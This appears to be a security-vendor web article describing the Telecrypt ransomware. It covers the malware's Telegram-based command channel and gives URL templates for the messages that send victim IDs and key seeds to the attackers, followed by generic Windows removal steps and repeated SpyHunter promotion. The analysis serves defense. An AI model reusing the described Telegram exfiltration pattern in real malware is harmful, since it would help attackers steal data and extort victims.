Updated: Telecrypt Ransomware Virus (Removal Steps and Protection Updates)

The Telecrypt ransomware is a new malware variant that uses the Telegram service to send remote malicious commands to the infected hosts. Learn how to remove active infections by reading our in-depth article.

Telecrypt Ransomware Description

The Telecrypt ransomware is a new malware strain that uses Telegram channels for remote malicious command and control purposes. To function properly the ransomware needs an active Internet connection to trigger the commands.

The security analysis shows that the virus is programmed in the Delphi programming language and its size is about 3 MB. After it has been executed by the user it starts to follow its internal procedures.

The first thing that the Telecrypt ransomware does is to ping the Telegram API located at “https://api.telegram.org/bot/GetMe” by using the hardcoded token in the code. Each Telegram bot is assigned a unique token ID which is distributed with each malware sample.

This is done to ensure that the Telegram bot is active and running. The protocols of the messaging service are then used to post a message signaling the token ID of the victim to the remote attackers using a specific format. The following formula is used:

https://api.telegram.org/bot< token >/sendmessage?chat_id=< chat >&text=< computer_name >_< infection_id >_< key_seed >

The following components of the message are contained within:

• Token – Unique Token ID associated with each victim host
• Chat – Specified Telegram Channel
• Computer_name – ID associated with every victim host
• Infection_id – ID associated with every victim host
• key_seed – cointains the digit string used to generate the file encryption key

The following file types are affected by the Telecrypt ransomware:

DOC, DOCX, XLS, XLSX, JPG, JPEG, PNG, DT, DBF, CD, PDF

During encryption the virus logs all encrypted files to the %USERPROFILE%\Desktop\База зашифр файлов.txt location.

Once the encryption is complete the Telecrypt ransomware resends the previous request to the same channel with an extra parameter value:

https://api.telegram.org/bot< token >/sendmessage?chat_id=< chat >&text=< computer_name >_< infection_id >_< key_seed >stop

The next step is to download a module caled “Informer” (“Информатор” in Russian) and an asset named Xhelp.exe which is hosted on hacked or malicious sites. This file is used to display the ransomware note.

The note is written in the Russian language ands blackmails the users into paying the sum of 5000 rubles (about 80 US Dollars) via one of the following payment methods – Yandex.money transfer or Qiwi payment.

The security experts noted that there are several variants of the Telecrypt ransomware. Some of them do not rename the affected files, while others append the .Xcri extension.

Researchers from MalwareBytes have been able to crack the encryption algorithm and ransomware infection patterns which has led to the creation of a free decryptor. In order to use it the users must have the .NET platform installed on the host computer as well as unencrypted (uncompromised) versions of the encrypted files to generate a recovery key. You can download it here.

Telecrypt Ransomware Distribution

The Telecrypt ransomware is usually distributed via spam email campagins or malicious ads and software portals that serve infected binaries.

Telecrypt Ransomware Removal

For a faster solution, you can run a scan with an advanced malware removal tool and delete Telecrypt completely with a few mouse clicks.

STEP I: Start the PC in Safe Mode with Network
This will isolate all files and objects created by the ransomware so they will be removed efficiently.

1) Hit WIN Key + R

2) A Run window will appear. In it, write “msconfig” and then press Enter
3) A Configuration box shall appear. In it Choose the tab named “Boot”
4) Mark “Safe Boot” option and then go to “Network” under it to tick it too
5) Apply -> OK

Or check our video guide – “How to start PC in Safe Mode with Networking”

STEP II: Show Hidden Files

1) Open My Computer/This PC
2) Windows 7
– Click on “Organize” button
– Select “Folder and search options”
– Select the “View” tab
– Go under “Hidden files and folders” and mark “Show hidden files and folders” option

3) Windows 8/ 10

– Open “View” tab
– Mark “Hidden items” option



4) Click “Apply” and then “OK” button

STEP III: Enter Windows Task Manager and Stop Malicious Processes

1) Hit the following key combination: CTRL+SHIFT+ESC
2) Get over to “Processes”
3) When you find suspicious process right click on it and select “Open File Location”
4) Go back to Task Manager and end the malicious process. Right click on it again and choose “End Process”
5) Next you should go folder where the malicious file is located and delete it

STEP IV: Remove Completely Telecrypt Ransomware Using SpyHunter Anti-Malware Tool

SpyHunter anti-malware tool will diagnose all current threats on the computer. By purchasing the full version, you will be able to remove all malware threats instantly. Additional information about SpyHunter / Help to uninstall SpyHunter

STEP V: Repair Windows Registry

1) Again type simultaneously the Windows Button + R key combination
2) In the box, write “regedit”(without the inverted commas) and hit Enter
3) Type the CTRL+F and then write the malicious name in the search type field to locate the malicious executable
4) In case you have discovered registry keys and values related to the name, you should delete them, but be careful not to delete legitimate keys

Further help for Windows Registry repair

STEP VI: Recover Encrypted Files

1) Use present backups
2) Restore your personal files using File History
– Hit WIN Key
– Type “restore your files” in the search box
– Select “Restore your files with File History”
– Choose a folder or type the name of the file in the search bar



– Hit the “Restore” button

3) Using System Restore Point

– Hit WIN Key
– Select “Open System Restore” and follow the steps

STEP VII: Preventive Security Measures

1) Enable and properly configure your Firewall.
2) Install and maintain reliable anti-malware software.
3) Secure your web browser.
4) Check regularly for available software updates and apply them.
5) Disable macros in Office documents.
6) Use strong passwords.
7) Don’t open attachments or click on links unless you’re certain they’re safe.
8) Backup regularly your data.

SpyHunter anti-malware tool will diagnose all current threats on the computer. By purchasing the full version, you will be able to remove all malware threats instantly. Additional information about SpyHunter / Help to uninstall SpyHunter